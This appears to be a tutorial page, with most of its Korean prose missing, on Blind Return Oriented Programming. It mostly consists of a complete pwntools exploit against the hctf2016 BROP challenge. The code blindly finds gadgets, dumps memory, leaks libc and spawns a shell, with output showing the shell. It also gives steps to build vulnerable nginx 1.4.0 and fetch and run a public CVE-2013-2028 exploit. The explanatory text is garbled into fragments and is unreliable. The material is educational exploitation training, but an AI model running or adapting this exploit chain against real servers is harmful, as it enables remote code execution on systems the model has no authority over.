

08.BROP(Blind Return Oriented Programming)

Unknown macro: 'html'

Excuse the ads! We need some help to keep our site up.

Unknown macro: 'html'

List

- [BROP\(Blind Return Oriented Programming\)](#)
- [BROP struct](#)
- [Find BROP](#)
- [Proof of concept](#)
 - [Example code](#)
 - [Test server settings](#)
 - [Check Overflow](#)
 - [Check stop gadget](#)
 - [Check BROP gadget](#)
 - [Get puts@plt address](#)
 - [Dump memory](#)
 - [Get puts@got address](#)
 - [Leak address](#)
 - [Libc Search](#)
- [Exploit code](#)
- [CVE-2013-2028](#)
 - [Setting up the test environment](#)
 - [Download Exploit code](#)
 - [Run Exploit code](#)
- [References](#)

BROP(Blind Return Oriented Programming)

- 3 .
 - Open-source (: Apache)
 - Open-binary (: Internet Explorer)
 - Closed-binary and source (:)
- **BROP Closed-binary and source** .
- **BROP Exploit code** .
 - BROP Crash .
 - BROP Crash () .
 - BROP Write() Gadget .
 - .
 - ROP .
 - BROP .
- **BROP** .
 - Stack overflow Canaries .
 - ROP "Stop Gadget" .
 - "Stop Gadget" "BROP Gadget" .
 - "BROP Gadget","Stop Gadget" .
 - read,write,strcmp,
 - ROP .

BROP struct

- **BROP Stop Gadget** .
 - Stop Gadget BROP Gadget Gadget .
 - Stop Gadget Stack Overflow , .
 - , , , , ,
- **BROP Gadget.**
- **BROP Gadget** .
 - pop instruction BROP Register .
 - , BROP Gadget pop instruction Gadget .

ROP structure

Number of registers	ROP structure
1	pop register + ret
2	pop register * 2 + ret
3	pop register * 3 + ret
4	pop register * 4 + ret
5	pop register * 5 + ret
6	pop register * 6 + ret

- **Gadget POP instruction** **BROP Gadget** .

BROP Gadget 1

```
gdb-peda$ x/7i 0x4007ba
0x4007ba <__libc_csu_init+90>:      pop    rbx
0x4007bb <__libc_csu_init+91>:      pop    rbp
0x4007bc <__libc_csu_init+92>:      pop    r12
0x4007be <__libc_csu_init+94>:      pop    r13
0x4007c0 <__libc_csu_init+96>:      pop    r14
0x4007c2 <__libc_csu_init+98>:      pop    r15
0x4007c4 <__libc_csu_init+100>:     ret
gdb-peda$
```

- **BROP Gadget (0x4007ba)** "pop rdi; ret", "pop rsi; pop r15; ret" Gadget .

BROP Gadget 2

```
gdb-peda$ x/2i 0x4007ba + 9
0x4007c3 <__libc_csu_init+99>:      pop    rdi
0x4007c4 <__libc_csu_init+100>:     ret
gdb-peda$ x/3i 0x4007ba + 7
0x4007c1 <__libc_csu_init+97>:      pop    rsi
0x4007c2 <__libc_csu_init+98>:      pop    r15
0x4007c4 <__libc_csu_init+100>:     ret
gdb-peda$
```

Find BROP

- **BROP Gadget** .
 - Return address **BROP Stack** **Stop Gadget** .
 - **BROP Memory leak** .
 - **BROP** .

Number of registers	ROP structure
1	BROP Address + p64(0x41) + Stop Gadget
2	BROP Address + p64(0x41) * 2 + Stop Gadget
3	BROP Address + p64(0x41) * 3 + Stop Gadget
4	BROP Address + p64(0x41) * 4 + Stop Gadget
5	BROP Address + p64(0x41) * 5 + Stop Gadget
6	BROP Address + p64(0x41) * 6 + Stop Gadget

- **BROP Gadget** .
 - Stop Gadget BROP Gadget .
 - Stop Gadget BROP Gadget .

Number of registers	ROP structure
1	BROP Address + p64(0x41)
2	BROP Address + p64(0x41) * 2
3	BROP Address + p64(0x41) * 3
4	BROP Address + p64(0x41) * 4
5	BROP Address + p64(0x41) * 5
6	BROP Address + p64(0x41) * 6

Proof of concept

Example code

- **hctf2016 BROP** .
 - puts() .
 - check() (True, False) .
 - check() read() .
 - 50byte, 1024.
 - , Stack Overflow .
 - .
 - IP,Port Overflow .

brop.c

```
//gcc -fno-stack-protector brop.c -o brop
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int i;
int check();
int main(void){
    setbuf(stdin,NULL);
    setbuf(stdout,NULL);
    setbuf(stderr,NULL);
    puts("WelCome my friend,Do you know password?");
    if(!check()){
        puts("Do not dump my memory");
    }else {
        puts("No password, no game");
    }
}
int check(){
    char buf[50];
    read(STDIN_FILENO,buf,1024);
    return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}
```

Files

- [run.sh](#)
- [brop](#)



- <https://github.com/zh-explorer/hctf2016-brop/blob/master/main.c>

Test server settings

- **script** .

run.sh

```
#!/bin/sh
while true; do
    num=`ps -ef | grep "socat" | grep -v "grep" | wc -l`
    if [ $num -eq 0 ]; then
        socat tcp4-listen:10001,reuseaddr,fork exec:./brop &
    fi
done
```

run.sh

```
lazenca0x0@ubuntu:~/Exploit/BROP$ ./run.sh
```

Check Overflow

- **Overflow** .
 - 1 .
 - .
 - "No password, no game"
 - "No password, no game" Overflow

check_Overflow()

```
from pwn import *

ip = '127.0.0.1'
port = 10001

def check_Overflow():
    for i in range(1,4096):
        try:
            r = remote(ip,port,level='error')
            response = r.recvuntil('WelCome my friend,Do you know password?\n')
            r.send("A" * i)
            response = r.recv()
            r.close()
            if 'No password, no game' in response:
                i += 1
            else:
                r.close()
                return i

        except EOFError as e:
            r.close()
            return i - 1

size = check_Overflow()
log.info('Overflow size : ' + str(size))
```

- .
 - , Return address .

python ./check_overflow.py

```
lazenca0x0@ubuntu:~/Exploit/BROP$ python ./check_overflow.py
[*] Overflow size : 72
```

Check stop gadget

- **Stop Gadget** .
 - Return address 0x400000 1 Stop Gadget .
 - Return address "WelCome my friend,Do you know password?\n" .

find_stop_gadget

```
base = 0x400000

def find_stop_gadget(size):
    p = log.progress("Searching for Stop gadget ")

    for offset in range(1,0x1000):
        addr = int(base + offset)

        payload = ''
        payload += 'A' * size
        payload += p64(addr)

        if offset % 0x100 == 0:
            log.info(" Progressed to 0x%x" % offset)

        try:
            r = remote(ip,port,level='error')
            r.recvuntil('WelCome my friend,Do you know password?\n')
            r.send(payload)
            response = r.recv(timeout=0.2)
            r.close()

            if 'WelCome my friend,Do you know password?' in response:
                p.success("Done")
                log.info("Stop address: " + hex(addr))
                return addr
        except Exception as e:
            r.close()
```

- **Stop Gadget** .

python ./find_stop_gadget.py

```
lazenca0x0@ubuntu:~/Exploit/BR0P$ python ./find_stop_gadget.py
[*] Overflow size : 72
[+] Searching for Stop gadget : Done
[*] Progressed to 0x100
[*] Progressed to 0x200
[*] Progressed to 0x300
[*] Progressed to 0x400
[*] Progressed to 0x500
[*] Stop address: 0x4005c0
```

- **Stop Gadget "_start() "**.
 - , main() .

_start

```
lazenca0x0@ubuntu:~/Exploit/BROP$ gdb -q ./brop
Reading symbols from ./brop...(no debugging symbols found)...done.
gdb-peda$ x/10i 0x4005c0
0x4005c0 <_start>:      xor     ebp,ebp
0x4005c2 <_start+2>:    mov     r9,rdx
0x4005c5 <_start+5>:    pop     rsi
0x4005c6 <_start+6>:    mov     rdx,rsp
0x4005c9 <_start+9>:    and     rsp,0xfffffffffffffff0
0x4005cd <_start+13>:   push    rax
0x4005ce <_start+14>:   push    rsp
0x4005cf <_start+15>:   mov     r8,0x4007d0
0x4005d6 <_start+22>:   mov     rcx,0x400760
0x4005dd <_start+29>:   mov     rdi,0x4006b6
gdb-peda$
```

Check BROP gadget

- **BROP Gadget Gadget ROP .**
 - Stop Gadget .
 - Payload BROP Gadget Return address Stop Gadget .
 - POP Instruction 6 BROP .

def maybe_BROP_gadget(size, stop_gadget, addr):

```
def maybe_BROP_gadget(size, stop_gadget, addr):
    try:
        payload = ''
        payload += 'A' * size
        payload += p64(addr)
        payload += p64(0) * 6
        payload += p64(stop_gadget)

        r = remote(ip,port,level='error')
        r.recvuntil('WelCome my friend,Do you know password?\n')
        r.sendline(payload)
        response = r.recv(timeout=0.2)

        r.close()

        if 'WelCome my friend,Do you know password?' in response:
            return True
        return False

    except Exception as e:
        r.close()
        return False
```

- **Stop Gadget BROP Gadget .**
 - BROP Gadget .

```
def is_BROP_gadget(size,addr):
```

```
def is_BROP_gadget(size,addr):
    try:
        payload = ''
        payload += 'A' * size
        payload += p64(addr)
        payload += p64(0x41) * 10

        r = remote(ip,port,level='error')
        r.recvuntil('WelCome my friend,Do you know password?\n')
        r.sendline(payload)
        response = r.recv()
        r.close()
        return False

    except Exception as e:

        return True
```

- **BROP Gadget** .

```
def find_brop_gadget(size,stop_gadget):
```

```
def find_brop_gadget(size,stop_gadget):
    p = log.progress("Searching for BROP gadget ")
    for offset in range(0x1,0x1000):
        if offset % 0x100 == 0:
            log.info('Progressed to 0x%x' % offset)

        addr = int(base + offset)

        if maybe_BROP_gadget(size,stop_gadget,addr):
            log.info('Maybe BROP Gagget : ' + hex(int(base + offset)))
            if is_BROP_gadget(size, addr):
                p.success("Done")
                log.info('Finded BROP Gagget : ' + hex(int(base + offset)))
                return addr
```

- **BROP Gadget** .
 - "pop rdi; ret" Gadget .

Find BROP Gadget

```
lazenca0x0@ubuntu:~/Exploit/BR0P$ python maybe_BR0P_gadget.py
[*] Overflow size : 72
[+] Searching for Stop gadget : Done
[*] Progressed to 0x100
[*] Progressed to 0x200
[*] Progressed to 0x300
[*] Progressed to 0x400
[*] Progressed to 0x500
[*] Stop address: 0x4005c0
[+] Searching for BR0P gadget : Done
[*] Progressed to 0x100
[*] Progressed to 0x200
[*] Progressed to 0x300
[*] Progressed to 0x400
[*] Progressed to 0x500
[*] Maybe BR0P Gagget : 0x4005c0
[*] Maybe BR0P Gagget : 0x4005c2
[*] Maybe BR0P Gagget : 0x4005c3
[*] Maybe BR0P Gagget : 0x4005c5
[*] Maybe BR0P Gagget : 0x4005c6
[*] Maybe BR0P Gagget : 0x4005c7
[*] Maybe BR0P Gagget : 0x4005c9
[*] Maybe BR0P Gagget : 0x4005cd
[*] Maybe BR0P Gagget : 0x4005ce
[*] Maybe BR0P Gagget : 0x4005cf
[*] Maybe BR0P Gagget : 0x4005d0
[*] Maybe BR0P Gagget : 0x4005d6
[*] Maybe BR0P Gagget : 0x4005d7
[*] Maybe BR0P Gagget : 0x4005dd
[*] Maybe BR0P Gagget : 0x4005de
[*] Progressed to 0x600
[*] Maybe BR0P Gagget : 0x4006b6
[*] Maybe BR0P Gagget : 0x4006b7
[*] Maybe BR0P Gagget : 0x4006b8
[*] Maybe BR0P Gagget : 0x4006ba
[*] Maybe BR0P Gagget : 0x4006ce
[*] Maybe BR0P Gagget : 0x4006e2
[*] Maybe BR0P Gagget : 0x4006f6
[*] Progressed to 0x700
[*] Maybe BR0P Gagget : 0x4007ba
[*] Finded BR0P Gagget : 0x4007ba
[+] BR0P Gadget : 0x4007ba
[+] RDI Gadget : 0x4007c3
```

Get puts@plt address

- `puts plt`
 - `printf(),puts()`
 - `PIE 0x400000`
 - `0x400000 "\x7fELF"`
- `, addr, "\x7fELF" puts`


```
def find_puts_addr(size,stop_gadget,rdi_ret):
```

```
def find_puts_addr(size,stop_gadget,rdi_ret):
    p = log.progress("Searching for the address of puts@plt")
    for offset in range(1,0x1000):
        addr = int(base + offset)

        payload = ''
        payload += 'A' * size + p64(rdi_ret)
        payload += p64(0x400000)
        payload += p64(addr)
        payload += p64(stop_gadget)

        if offset % 0x100 == 0:
            log.info('Progressed to 0x%x' % offset)

        r = remote(ip,port,level='error')
        r.recvuntil('WelCome my friend,Do you know password?\n')
        r.sendline(payload)
        try:
            response = r.recv()
            if response.startswith('\x7fELF'):
                p.success("Done")
                log.success('find puts@plt addr: 0x%x' % addr)
                return addr
            r.close()
            addr += 1
        except Exception as e:
            r.close()
            addr += 1
```

- puts plt .

Find puts@plt

```
lazenca0x0@ubuntu:~/Exploit/BR0P$ python find_puts_addr.py
[*] Overflow size : 72
[+] Searching for Stop gadget : Done
[*] Progressed to 0x100
[*] Progressed to 0x200
[*] Progressed to 0x300
[*] Progressed to 0x400
[*] Progressed to 0x500
[*] Stop address: 0x4005c0
[+] Searching for BR0P gadget : Done
[*] Progressed to 0x100
[*] Progressed to 0x200
[*] Progressed to 0x300
[*] Progressed to 0x400
[*] Progressed to 0x500
[*] Maybe BR0P Gagget : 0x4005c0
[*] Maybe BR0P Gagget : 0x4005c2
[*] Maybe BR0P Gagget : 0x4005c3
[*] Maybe BR0P Gagget : 0x4005c5
[*] Maybe BR0P Gagget : 0x4005c6
[*] Maybe BR0P Gagget : 0x4005c7
[*] Maybe BR0P Gagget : 0x4005c9
[*] Maybe BR0P Gagget : 0x4005cd
[*] Maybe BR0P Gagget : 0x4005ce
[*] Maybe BR0P Gagget : 0x4005cf
[*] Maybe BR0P Gagget : 0x4005d0
[*] Maybe BR0P Gagget : 0x4005d6
[*] Maybe BR0P Gagget : 0x4005d7
[*] Maybe BR0P Gagget : 0x4005dd
[*] Maybe BR0P Gagget : 0x4005de
[*] Progressed to 0x600
[*] Maybe BR0P Gagget : 0x4006b6
[*] Maybe BR0P Gagget : 0x4006b7
[*] Maybe BR0P Gagget : 0x4006b8
[*] Maybe BR0P Gagget : 0x4006ba
[*] Maybe BR0P Gagget : 0x4006ce
[*] Maybe BR0P Gagget : 0x4006e2
[*] Maybe BR0P Gagget : 0x4006f6
[*] Progressed to 0x700
[*] Maybe BR0P Gagget : 0x4007ba
[*] Finded BR0P Gagget : 0x4007ba
[+] BR0P Gadget : 0x4007ba
[+] RDI Gadget : 0x4007c3
[+] Searching for the address of puts@plt : Done
[*] Progressed to 0x100
[*] Progressed to 0x200
[*] Progressed to 0x300
[*] Progressed to 0x400
[*] Progressed to 0x500
[+] find puts@plt addr: 0x400555
[+] Puts plt : 0x400555
```

Dump memory

- - puts@plt

```
def memory_dump(size,stop_gadget,rdi_ret,put_plt):
```

```
def memory_dump(size,stop_gadget,rdi_ret,put_plt):
    now = base
    end = 0x401000
    dump = ""

    p = log.progress("Memory dump")
    while now < end:
        if now % 0x100 == 0:
            log.info("Progressed to 0x%x" % now)

        payload = ''
        payload += 'A' * size
        payload += p64(rdi_ret)
        payload += p64(now)
        payload += p64(puts_plt)
        payload += p64(stop_gadget)

        r = remote(ip,port,level='error')
        r.recvuntil('WelCome my friend,Do you know password?\n')
        r.sendline(payload)
        try:
            data = r.recv(timeout=0.5)
            r.close()

            data = data[:data.index("\nWelCome")]
        except ValueError as e:
            data = data
        except Exception as e:
            continue

        if len(data.split()) == 0:
            data = '\x00'

        dump += data
        now += len(data)

    with open('memory.dump','wb') as f:
        f.write(dump)

    p.success("Done")
```

- **memory.dump** .

memory.dump

```
lazenca0x0@ubuntu:~/Exploit/BROP$ python memory_dump.py
[*] Overflow size : 72
[+] BROP Gadget : 0x4007ba
[+] RDI Gadget : 0x4007c3
[+] Puts plt : 0x400555
[+] Memory dump: Done
[*] Progressed to 0x400000
[*] Progressed to 0x400100
[*] Progressed to 0x400200
[*] Progressed to 0x400300
[*] Progressed to 0x400400
[*] Progressed to 0x400500
[*] Progressed to 0x400900
[*] Progressed to 0x400a00
[*] Progressed to 0x400b00
[*] Progressed to 0x400c00
[*] Progressed to 0x400d00
[*] Progressed to 0x400e00
[*] Progressed to 0x400f00
lazenca0x0@ubuntu:~/Exploit/BROP$ ls
broP BROP.py libc memory.dump run.sh
lazenca0x0@ubuntu:~/Exploit/BROP$ file memory.dump
memory.dump: ERROR: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked error reading
(Invalid argument)
lazenca0x0@ubuntu:~/Exploit/BROP$
```

Get puts@got address

- **dump puts got** .
 - radare , puts@plt .
 - puts@plt 0x00400560 , puts@got 0x601018(0x00400566 + 0x200ab2) .

r2 -B 0x400000 memory.dump

```
lazenca0x0@ubuntu:~/Exploit/BROP$ r2 -B 0x400000 memory.dump
Warning: Cannot initialize program headers
Warning: read (shdr) at 0x1b30
Warning: Cannot initialize section headers
Warning: Cannot initialize strings table
Warning: read (init_offset)
Warning: read (main)
Warning: read (get_fini)
[0x008005c0]> pd 10 @ 0x400555
0x00400555 00ff      add bh, bh
0x00400557 25b40a2000 and eax, 0x200ab4
0x0040055c 0f1f4000  nop [rax]
0x00400560 ff25b20a2000 jmp qword [rip+0x200ab2]
0x00400566 6800000000 push 0x0
0x0040056b e9e0ffffff jmp 0x400550
0x00400570 ff25aa0a2000 jmp qword [rip+0x200aaa]
0x00400576 6801000000 push 0x1 ; 0x00000001
0x0040057b e9d0ffffff jmp 0x400550
0x00400580 ff25a20a2000 jmp qword [rip+0x200aa2]
[0x008005c0]> ? 0x00400566 + 0x200ab2
6295576 0x601018 030010030 6.0M 60000:0018 6295576 00011000 6295576.0 0.000000
```



- https://radare.gitbooks.io/radare2book/content/introduction/commandline_flags.html

Leak address

- puts@got libc address .

```
def leak_libc(r,size,stop_gadget,rdi_ret,put_plt,puts_got):
```

```
def leak_libc(r,size,stop_gadget,rdi_ret,put_plt,puts_got):
    payload = ''
    payload += 'A' * size
    payload += p64(rdi_ret)
    payload += p64(puts_got)
    payload += p64(puts_plt)
    payload += p64(stop_gadget)

    r.recvuntil('WelCome my friend,Do you know password?\n')
    r.sendline(payload)
    leakAddr = r.recvuntil("\nWelCome my friend,Do you know password?\n", drop=True)
    leakAddr = u64(leakAddr.ljust(8, '\x00'))
    return leakAddr
```

Leak the address of Libc

```
lazenca0x0@ubuntu:~/Exploit/BR0P$ python leak_address.py
[*] Overflow size : 72
[+] BR0P Gadget : 0x4007ba
[+] RDI Gadget : 0x4007c3
[+] Puts plt : 0x400555
[*] Address of puts in libc : 0x7f760f884690
lazenca0x0@ubuntu:~/Exploit/BR0P$
```

Libc Search

- libc-database libc .
 - puts@got libc offset .

Libc Search - libc-database

```
lazenca0x0@ubuntu:~/Exploit/BR0P/libc/libc-database$ ./add /usr/lib/libc-2.26.so
lazenca0x0@ubuntu:~/Exploit/BR0P/libc/libc-database$ ./find puts 690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
lazenca0x0@ubuntu:~/Exploit/BR0P/libc/libc-database$ ./dump libc6_2.23-0ubuntu10_amd64
offset__libc_start_main_ret = 0x20830
offset_system = 0x0000000000045390
offset_dup2 = 0x00000000000f7970
offset_read = 0x00000000000f7250
offset_write = 0x00000000000f72b0
offset_str_bin_sh = 0x18cd57
lazenca0x0@ubuntu:~/Exploit/BR0P/libc/libc-database$ ./dump libc6_2.23-0ubuntu10_amd64 puts
offset_puts = 0x0000000000006f690
lazenca0x0@ubuntu:~/Exploit/BR0P/libc/libc-database$
```



libc-database

- <https://github.com/niklasb/libc-database>

- Python .

Libc Search - python

```
from LibcSearcher import *

lib = LibcSearcher('puts', addr_puts_libc)
libcBase = addr_puts_libc - lib.dump('puts')
system_addr = libcBase + lib.dump('system')
binsh_addr = libcBase + lib.dump('str_bin_sh')

log.info('libc base : ' + hex(libcBase))
log.info('system : ' + hex(system_addr))
log.info('binsh : ' + hex(binsh_addr))
```



LibcSearcher

- <https://github.com/lieanu/LibcSearcher>

Find libc offset

```
lazenca0x0@ubuntu:~/Exploit/BR0P$ python libc_search.py
[*] Overflow size : 72
[*] STOP Gadget : 0x4005c0
[*] BR0P Gadget : 0x4007ba
[*] RDI Gadget : 0x4007c3
[*] Puts plt : 0x400555
[+] ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) be choosed.
[*] libc base : 0x7fc974723000
[*] system : 0x7fc974768390
[*] binsh : 0x7fc9748afd57
```

Exploit code

BR0P.py

```
from pwn import *
from LibcSearcher import *

#context.log_level = 'debug'
ip = '127.0.0.1'
port = 10001
base = 0x400000

def find_stop_gadget(size):
    p = log.progress("Searching for Stop gadget ")

    for offset in range(1,0x1000):
        addr = int(base + offset)

        payload = ''
        payload += 'A' * size
        payload += p64(addr)

        if offset % 0x100 == 0:
            log.info(" Progressed to 0x%x" % offset)

    try:
        r = remote(ip,port,level='error')
        r.recvuntil('WelCome my friend,Do you know password?\n')
        r.send(payload)
        response = r.recv(timeout=0.2)
        r.close()
```

```

        if 'WelCome my friend,Do you know password?' in response:
            p.success("Done")
            log.info("Stop address: " + hex(addr))
            r.close()
            return addr
    except Exception as e:
        r.close()

def check_Overflow():
    for i in range(1,4096):
        try:
            r = remote(ip,port,level='error')
            response = r.recvuntil('WelCome my friend,Do you know password?\n')
            r.send("A" * i)
            response = r.recv()
            r.close()
            if 'No password, no game' in response:
                i += 1
            else:
                r.close()
                return i

        except EOFError as e:
            r.close()
            return i - 1

def maybe_BR0P_gadget(size, stop_gadget, addr):
    try:
        payload = ''
        payload += 'A' * size
        payload += p64(addr)
        payload += p64(0) * 6
        payload += p64(stop_gadget)

        r = remote(ip,port,level='error')
        r.recvuntil('WelCome my friend,Do you know password?\n')
        r.sendline(payload)
        response = r.recv(timeout=0.2)

        r.close()

        if 'WelCome my friend,Do you know password?' in response:
            return True
        return False

    except Exception as e:
        r.close()
        return False

def is_BR0P_gadget(size,addr):
    try:
        payload = ''
        payload += 'A' * size
        payload += p64(addr)
        payload += p64(0x41) * 10

        r = remote(ip,port,level='error')
        r.recvuntil('WelCome my friend,Do you know password?\n')
        r.sendline(payload)
        response = r.recv()
        r.close()
        return False

    except Exception as e:
        r.close()
        return True

def find_brop_gadget(size,stop_gadget):
    p = log.progress("Searching for BR0P gadget ")
    for offset in range(0x1,0x1000):
        if offset % 0x100 == 0:

```

```

        log.info('Progressed to 0x%x' % offset)

    addr = int(base + offset)

    if maybe_BROP_gadget(size, stop_gadget, addr):
        log.info('Maybe BROP Gadget : ' + hex(int(base + offset)))
        if is_BROP_gadget(size, addr):
            p.success("Done")
            log.info('Finded BROP Gadget : ' + hex(int(base + offset)))
            return addr

def find_puts_addr(size, stop_gadget, rdi_ret):
    p = log.progress("Searching for the address of puts@plt")
    for offset in range(1, 0x1000):
        addr = int(base + offset)

        payload = ''
        payload += 'A' * size + p64(rdi_ret)
        payload += p64(0x400000)
        payload += p64(addr)
        payload += p64(stop_gadget)

        if offset % 0x100 == 0:
            log.info('Progressed to 0x%x' % offset)

        r = remote(ip, port, level='error')
        r.recvuntil('WelCome my friend, Do you know password?\n')
        r.sendline(payload)
        try:
            response = r.recv()
            if response.startswith('\x7fELF'):
                p.success("Done")
                log.success('find puts@plt addr: 0x%x' % addr)
                return addr
            r.close()
            addr += 1
        except Exception as e:
            r.close()
            addr += 1

def memory_dump(size, stop_gadget, rdi_ret, put_plt):
    now = base
    end = 0x401000
    dump = ""

    p = log.progress("Memory dump")
    while now < end:
        if now % 0x100 == 0:
            log.info("Progressed to 0x%x" % now)

        payload = ''
        payload += 'A' * size
        payload += p64(rdi_ret)
        payload += p64(now)
        payload += p64(puts_plt)
        payload += p64(stop_gadget)

        r = remote(ip, port, level='error')
        r.recvuntil('WelCome my friend, Do you know password?\n')
        r.sendline(payload)
        try:
            data = r.recv(timeout=0.5)
            r.close()

            data = data[:data.index("\nWelCome")]
        except ValueError as e:
            data = data
        except Exception as e:
            continue

        if len(data.split()) == 0:

```



```

        data = '\x00'

        dump += data
        now += len(data)

    with open('memory.dump','wb') as f:
        f.write(dump)

    p.success("Done")

def leak_libc(r,size,stop_gadget,rdi_ret,put_plt,puts_got):
    payload = ''
    payload += 'A' * size
    payload += p64(rdi_ret)
    payload += p64(puts_got)
    payload += p64(puts_plt)
    payload += p64(stop_gadget)

    r.recvuntil('WelCome my friend,Do you know password?\n')
    r.sendline(payload)
    leakAddr = r.recvuntil("\nWelCome my friend,Do you know password?\n", drop=True)
    leakAddr = u64(leakAddr.ljust(8, '\x00'))
    return leakAddr

size = check_Overflow()
log.info('Overflow size : ' + str(size))

stop_gadget = find_stop_gadget(size)
#stop_gadget = 0x4005c0

brop_gadget = find_brop_gadget(size, stop_gadget)
#brop_gadget = 0x4007ba
log.success('BR0P Gadget : ' + hex(brop_gadget))
rdi_gadget = brop_gadget + 9
log.success('RDI Gadget : ' + hex(rdi_gadget))

puts_plt = find_puts_addr(size,stop_gadget,rdi_gadget)
#puts_plt = 0x400555
log.success('Puts plt : ' + hex(puts_plt))

#memory_dump(size,stop_gadget,rdi_gadget,puts_plt)
puts_got = 0x601018

r = remote(ip,port,level='error')
addr_puts_libc = leak_libc(r,size,stop_gadget,rdi_gadget,puts_plt,puts_got)
log.info('Address of puts in libc : ' + hex(addr_puts_libc))

lib = LibcSearcher('puts', addr_puts_libc)
libcBase = addr_puts_libc - lib.dump('puts')
system_addr = libcBase + lib.dump('system')
binsh_addr = libcBase + lib.dump('str_bin_sh')

log.info('libc base : ' + hex(libcBase))
log.info('system : ' + hex(system_addr))
log.info('binsh : ' + hex(binsh_addr))

payload = "A" * size
payload += p64(rdi_gadget)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(stop_gadget)

r.sendline(payload)
r.interactive()

```

- **Shell** .

python BROP.py

```
lazenca0x0@ubuntu:~/Exploit/BROP$ python BROP.py
[+] Overflow size : 72
[*] Progressed to 0x100
[*] Progressed to 0x200
[*] Progressed to 0x300
[*] Progressed to 0x400
[*] Progressed to 0x500
[*] Stop address: 0x4005c0
[+] STOP Gadget : 0x4005c0
[*] Progressed to 0x100
[*] Progressed to 0x200
[*] Progressed to 0x300
[*] Progressed to 0x400
[*] Progressed to 0x500
[*] Maybe BROP Gagget : 0x4005c0
[*] Maybe BROP Gagget : 0x4005c2
[*] Maybe BROP Gagget : 0x4005c3
[*] Maybe BROP Gagget : 0x4005c5
[*] Maybe BROP Gagget : 0x4005c6
[*] Maybe BROP Gagget : 0x4005c7
[*] Maybe BROP Gagget : 0x4005c9
[*] Maybe BROP Gagget : 0x4005cd
[*] Maybe BROP Gagget : 0x4005ce
[*] Maybe BROP Gagget : 0x4005cf
[*] Maybe BROP Gagget : 0x4005d0
[*] Maybe BROP Gagget : 0x4005d6
[*] Maybe BROP Gagget : 0x4005d7
[*] Maybe BROP Gagget : 0x4005dd
[*] Maybe BROP Gagget : 0x4005de
[*] Progressed to 0x600
[*] Maybe BROP Gagget : 0x4006b6
[*] Maybe BROP Gagget : 0x4006b7
[*] Maybe BROP Gagget : 0x4006b8
[*] Maybe BROP Gagget : 0x4006ba
[*] Maybe BROP Gagget : 0x4006ce
[*] Maybe BROP Gagget : 0x4006e2
[*] Maybe BROP Gagget : 0x4006f6
[*] Progressed to 0x700
[*] Maybe BROP Gagget : 0x4007ba
[*] Finded BROP Gagget : 0x4007ba
[+] BROP Gadget : 0x4007ba
[+] RDI Gadget : 0x4007c3
[*] Progressed to 0x100
[*] Progressed to 0x200
[*] Progressed to 0x300
[*] Progressed to 0x400
[*] Progressed to 0x500
[+] Puts plt : 0x400555
[+] ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) be choosed.
[+] libc base : 0x7f8e66eec000
[+] system : 0x7f8e66f31390
[+] binsh : 0x7f8e67078d57
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$
lazenca0x0@ubuntu:~/Exploit/BROP$
```

CVE-2013-2028

- BROP
 - BROP
 - BROP Exploit code

Setting up the test environment

Install

```
sudo apt-get update
sudo apt-get install libpcre3 libpcre3-dev
sudo apt-get install openssl libssl-dev
wget nginx.org/download/nginx-1.4.0.tar.gz
tar zxvf nginx-1.4.0.tar.gz
cd nginx-1.4.0
./configure --sbin-path=/usr/local/nginx/nginx --conf-path=/usr/local/nginx/nginx.conf --pid-path=/usr/local/nginx/nginx.pid --with-http_ssl_module
vi objs/Makefile
```

- Makefile -fstack-protector .

vi objs/Makefile

```
...
CFLAGS = -pipe -O -W -Wall -Wpointer-arith -Wno-unused -Werror -g -fstack-protector
...
```

- .

Build nginx

```
make -j4
sudo make install
```

- nginx.conf .

sudo vi /usr/local/nginx/nginx.conf

```
worker_processes 4;
```

- nginx .

Run nginx

```
sudo /usr/local/nginx/nginx
```

Download Exploit code

```
wget www.scs.stanford.edu/brop/nginx-1.4.0-exp.tgz
tar zxvf nginx-1.4.0-exp.tgz
cd nginx-1.4.0-exp
```

Run Exploit code

- shell , nginx .

```
./brop.rb 127.0.0.1
```

References

- <https://oddcoder.com/BROP-102/>
- <https://github.com/sam-b/broppy>

- <https://www.anquanke.com/post/id/85331>
- <https://github.com/zh-explorer/hctf2016-brop>
- <http://muhe.live/2017/01/22/Have-fun-with-Blind-ROP/>
- <http://www.scs.stanford.edu/~sorbo/brop/bittau-brop.pdf>
- https://en.wikipedia.org/wiki/Blind_return_oriented_programming
- <https://github.com/zh-explorer/hctf2016-brop/blob/master/main.c>
- https://github.com/firmianay/CTF-All-In-One/blob/master/doc/6.1.1_pwn_hctf2016_brop.md
- <https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2015/june/blind-return-oriented-programming/>
- <https://github.com/Shadowshusky/ctf-wiki/blob/15a55481c5fcb8b998f4affc98be40839a4f713a/pwn/stackoverflow/example/hctf2016-brop/exploit.py>
-



Unknown macro: 'html'